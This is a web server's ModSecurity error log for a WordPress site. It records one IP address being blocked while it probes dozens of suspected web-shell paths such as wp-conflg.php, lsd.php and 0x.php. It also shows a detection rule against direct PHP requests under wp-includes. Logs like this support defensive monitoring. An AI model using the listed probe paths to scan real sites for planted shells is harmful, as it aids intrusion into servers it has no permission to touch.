[Mon Mar 02 12:08:33.787430 2026] [:error] [pid 21575:tid 21602] [client 20.104.124.39:24656] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file.php"] [unique_id "aaUNQSrocdArcJqFfIkVvgAAAVc"]
[Mon Mar 02 12:08:34.356804 2026] [:error] [pid 21575:tid 21591] [client 20.104.124.39:24752] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file.php"] [unique_id "aaUNQirocdArcJqFfIkVxQAAAUw"]
[Mon Mar 02 12:08:34.855092 2026] [:error] [pid 28795:tid 28869] [client 20.104.124.39:25013] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lsd.php"] [unique_id "aaUNQrROd53wZBkdI_e-bwAAAIY"]
[Mon Mar 02 12:08:35.441626 2026] [:error] [pid 28908:tid 28911] [client 20.104.124.39:24716] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lsd.php"] [unique_id "aaUNQ4qJmC8ih_lQQnBYlQAAAME"]
[Mon Mar 02 12:08:36.295483 2026] [:error] [pid 28908:tid 28928] [client 20.104.124.39:24737] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lsd.php"] [unique_id "aaUNRIqJmC8ih_lQQnBYmAAAANI"]
[Mon Mar 02 12:08:37.230237 2026] [:error] [pid 21575:tid 21582] [client 20.104.124.39:24745] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lsd.php"] [unique_id "aaUNRSrocdArcJqFfIkV1gAAAUM"]
[Mon Mar 02 12:08:37.950847 2026] [:error] [pid 28908:tid 28934] [client 20.104.124.39:24756] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/as.php"] [unique_id "aaUNRYqJmC8ih_lQQnBYpwAAANg"]
[Mon Mar 02 12:08:38.696889 2026] [:error] [pid 21575:tid 21597] [client 20.104.124.39:24725] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/as.php"] [unique_id "aaUNRirocdArcJqFfIkV3AAAAVI"]
[Mon Mar 02 12:08:39.321642 2026] [:error] [pid 21575:tid 21593] [client 20.104.124.39:24984] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/as.php"] [unique_id "aaUNRyrocdArcJqFfIkV4AAAAU4"]
[Mon Mar 02 12:08:39.932956 2026] [:error] [pid 21575:tid 21596] [client 20.104.124.39:24734] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/as.php"] [unique_id "aaUNRyrocdArcJqFfIkV5AAAAVE"]
[Mon Mar 02 12:08:40.737310 2026] [:error] [pid 21575:tid 21585] [client 20.104.124.39:24743] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wsd.php"] [unique_id "aaUNSCrocdArcJqFfIkV7AAAAUY"]
[Mon Mar 02 12:08:41.389227 2026] [:error] [pid 23872:tid 23891] [client 20.104.124.39:24990] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wsd.php"] [unique_id "aaUNSUzkQFuA2qBk8UMKmwAAAZA"]
[Mon Mar 02 12:08:42.043948 2026] [:error] [pid 28908:tid 28916] [client 20.104.124.39:24967] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wsd.php"] [unique_id "aaUNSoqJmC8ih_lQQnBYwAAAAMY"]
[Mon Mar 02 12:08:42.627654 2026] [:error] [pid 28908:tid 28920] [client 20.104.124.39:24968] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wsd.php"] [unique_id "aaUNSoqJmC8ih_lQQnBYxQAAAMo"]
[Mon Mar 02 12:08:43.450090 2026] [:error] [pid 21575:tid 21587] [client 20.104.124.39:24765] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gtc.php"] [unique_id "aaUNSyrocdArcJqFfIkV9QAAAUg"]
[Mon Mar 02 12:08:44.425212 2026] [:error] [pid 21575:tid 21579] [client 20.104.124.39:24977] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gtc.php"] [unique_id "aaUNTCrocdArcJqFfIkV-wAAAUA"]
[Mon Mar 02 12:08:45.076236 2026] [:error] [pid 23872:tid 23876] [client 20.104.124.39:24739] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gtc.php"] [unique_id "aaUNTUzkQFuA2qBk8UMKqAAAAYE"]
[Mon Mar 02 12:08:45.798942 2026] [:error] [pid 21575:tid 21582] [client 20.104.124.39:24640] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gtc.php"] [unique_id "aaUNTSrocdArcJqFfIkWAgAAAUM"]
[Mon Mar 02 12:08:46.847421 2026] [:error] [pid 28908:tid 28922] [client 20.104.124.39:24982] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/atx.php"] [unique_id "aaUNToqJmC8ih_lQQnBY4AAAAMw"]
[Mon Mar 02 12:08:48.289617 2026] [:error] [pid 28908:tid 28922] [client 20.104.124.39:24740] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/atx.php"] [unique_id "aaUNUIqJmC8ih_lQQnBY7wAAAMw"]
[Mon Mar 02 12:08:49.851920 2026] [:error] [pid 21575:tid 21598] [client 20.104.124.39:24732] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/atx.php"] [unique_id "aaUNUSrocdArcJqFfIkWEgAAAVM"]
[Mon Mar 02 12:08:51.044471 2026] [:error] [pid 28908:tid 28924] [client 20.104.124.39:24706] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/atx.php"] [unique_id "aaUNU4qJmC8ih_lQQnBZAQAAAM4"]
[Mon Mar 02 12:08:51.600452 2026] [:error] [pid 21575:tid 21591] [client 20.104.124.39:24960] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/z60.php"] [unique_id "aaUNUyrocdArcJqFfIkWHgAAAUw"]
[Mon Mar 02 12:08:52.337882 2026] [:error] [pid 28908:tid 28921] [client 20.104.124.39:24983] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/z60.php"] [unique_id "aaUNVIqJmC8ih_lQQnBZCAAAAMs"]
[Mon Mar 02 12:08:53.108284 2026] [:error] [pid 21575:tid 21582] [client 20.104.124.39:24961] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/z60.php"] [unique_id "aaUNVSrocdArcJqFfIkWLAAAAUM"]
[Mon Mar 02 12:08:54.166702 2026] [:error] [pid 28908:tid 28923] [client 20.104.124.39:25021] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/z60.php"] [unique_id "aaUNVoqJmC8ih_lQQnBZEAAAAM0"]
[Mon Mar 02 12:08:54.839863 2026] [:error] [pid 28908:tid 28915] [client 20.104.124.39:24676] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/403.php"] [unique_id "aaUNVoqJmC8ih_lQQnBZFwAAAMU"]
[Mon Mar 02 12:08:55.638597 2026] [:error] [pid 28908:tid 28923] [client 20.104.124.39:24719] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/403.php"] [unique_id "aaUNV4qJmC8ih_lQQnBZHwAAAM0"]
[Mon Mar 02 12:08:56.207065 2026] [:error] [pid 28908:tid 28925] [client 20.104.124.39:24993] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/403.php"] [unique_id "aaUNWIqJmC8ih_lQQnBZIwAAAM8"]
[Mon Mar 02 12:08:56.800573 2026] [:error] [pid 28795:tid 28874] [client 20.104.124.39:24971] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/403.php"] [unique_id "aaUNWLROd53wZBkdI_e-fAAAAIs"]
[Mon Mar 02 12:08:57.883277 2026] [:error] [pid 28908:tid 28927] [client 20.104.124.39:24979] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/m.php"] [unique_id "aaUNWYqJmC8ih_lQQnBZKQAAANE"]
[Mon Mar 02 12:08:58.607653 2026] [:error] [pid 28908:tid 28928] [client 20.104.124.39:24645] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/m.php"] [unique_id "aaUNWoqJmC8ih_lQQnBZMAAAANI"]
[Mon Mar 02 12:08:59.588539 2026] [:error] [pid 14466:tid 14474] [client 20.104.124.39:24972] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/m.php"] [unique_id "aaUNW_8w-ahEIiUSqM5SPQAAAcY"]
[Mon Mar 02 12:09:00.279620 2026] [:error] [pid 28908:tid 28933] [client 20.104.124.39:24969] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/m.php"] [unique_id "aaUNXIqJmC8ih_lQQnBZOQAAANc"]
[Mon Mar 02 12:09:01.408184 2026] [:error] [pid 31257:tid 31284] [client 20.104.124.39:25007] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/themes.php"] [unique_id "aaUNXf-JFLfishX45N9oKwAAARU"]
[Mon Mar 02 12:09:02.456403 2026] [:error] [pid 28908:tid 28912] [client 20.104.124.39:24670] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/themes.php"] [unique_id "aaUNXoqJmC8ih_lQQnBZTQAAAMI"]
[Mon Mar 02 12:09:03.826783 2026] [:error] [pid 28908:tid 28926] [client 20.104.124.39:24704] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/themes.php"] [unique_id "aaUNX4qJmC8ih_lQQnBZWgAAANA"]
[Mon Mar 02 12:09:04.464057 2026] [:error] [pid 21575:tid 21595] [client 20.104.124.39:24762] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/themes.php"] [unique_id "aaUNYCrocdArcJqFfIkWRgAAAVA"]
[Mon Mar 02 12:09:05.031246 2026] [:error] [pid 23872:tid 23882] [client 20.104.124.39:25012] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aaUNYUzkQFuA2qBk8UMK6QAAAYc"]
[Mon Mar 02 12:09:05.703986 2026] [:error] [pid 21575:tid 21589] [client 20.104.124.39:24712] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aaUNYSrocdArcJqFfIkWTQAAAUo"]
[Mon Mar 02 12:09:06.280344 2026] [:error] [pid 21575:tid 21583] [client 20.104.124.39:24992] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aaUNYirocdArcJqFfIkWVgAAAUQ"]
[Mon Mar 02 12:09:06.856005 2026] [:error] [pid 21575:tid 21595] [client 20.104.124.39:24741] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aaUNYirocdArcJqFfIkWWgAAAVA"]
[Mon Mar 02 12:09:08.347335 2026] [:error] [pid 28908:tid 28933] [client 20.104.124.39:25002] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/wp-conflg.php"] [unique_id "aaUNZIqJmC8ih_lQQnBZbwAAANc"]
[Mon Mar 02 12:09:09.552283 2026] [:error] [pid 21575:tid 21583] [client 20.104.124.39:24708] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/wp-conflg.php"] [unique_id "aaUNZSrocdArcJqFfIkWZQAAAUQ"]
[Mon Mar 02 12:09:11.121011 2026] [:error] [pid 28908:tid 28924] [client 20.104.124.39:24749] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/wp-conflg.php"] [unique_id "aaUNZ4qJmC8ih_lQQnBZkQAAAM4"]
[Mon Mar 02 12:09:49.833817 2026] [:error] [pid 14466:tid 14482] [client 20.104.124.39:25003] [client 20.104.124.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/images/wp-login.php"] [unique_id "aaUNjf8w-ahEIiUSqM5SgQAAAc4"]
[Mon Mar 02 12:10:08.533575 2026] [:error] [pid 31257:tid 31275] [client 20.104.124.39:24705] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0x.php"] [unique_id "aaUNoP-JFLfishX45N9oegAAAQw"]
[Mon Mar 02 12:10:09.606352 2026] [:error] [pid 14466:tid 14490] [client 20.104.124.39:24742] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0x.php"] [unique_id "aaUNof8w-ahEIiUSqM5SmgAAAdY"]
[Mon Mar 02 12:10:11.347645 2026] [:error] [pid 21575:tid 21590] [client 20.104.124.39:24981] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0x.php"] [unique_id "aaUNoyrocdArcJqFfIkXkgAAAUs"]
[Mon Mar 02 12:10:12.126779 2026] [:error] [pid 21575:tid 21588] [client 20.104.124.39:24975] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0x.php"] [unique_id "aaUNpCrocdArcJqFfIkXmgAAAUk"]
[Mon Mar 02 12:10:12.769837 2026] [:error] [pid 28908:tid 28917] [client 20.104.124.39:25011] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css.php"] [unique_id "aaUNpIqJmC8ih_lQQnBbvwAAAMc"]
[Mon Mar 02 12:10:14.100320 2026] [:error] [pid 31257:tid 31277] [client 20.104.124.39:24648] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css.php"] [unique_id "aaUNpv-JFLfishX45N9ojwAAAQ4"]
[Mon Mar 02 12:10:15.333449 2026] [:error] [pid 28908:tid 28913] [client 20.104.124.39:24662] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css.php"] [unique_id "aaUNp4qJmC8ih_lQQnBb0gAAAMM"]
[Mon Mar 02 12:10:16.433760 2026] [:error] [pid 23872:tid 23888] [client 20.104.124.39:24759] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css.php"] [unique_id "aaUNqEzkQFuA2qBk8UMLeAAAAY0"]
[Mon Mar 02 12:10:17.349903 2026] [:error] [pid 28908:tid 28931] [client 20.104.124.39:25005] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "aaUNqYqJmC8ih_lQQnBb6QAAANU"]
[Mon Mar 02 12:10:18.583747 2026] [:error] [pid 28908:tid 28916] [client 20.104.124.39:24978] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "aaUNqoqJmC8ih_lQQnBb7wAAAMY"]
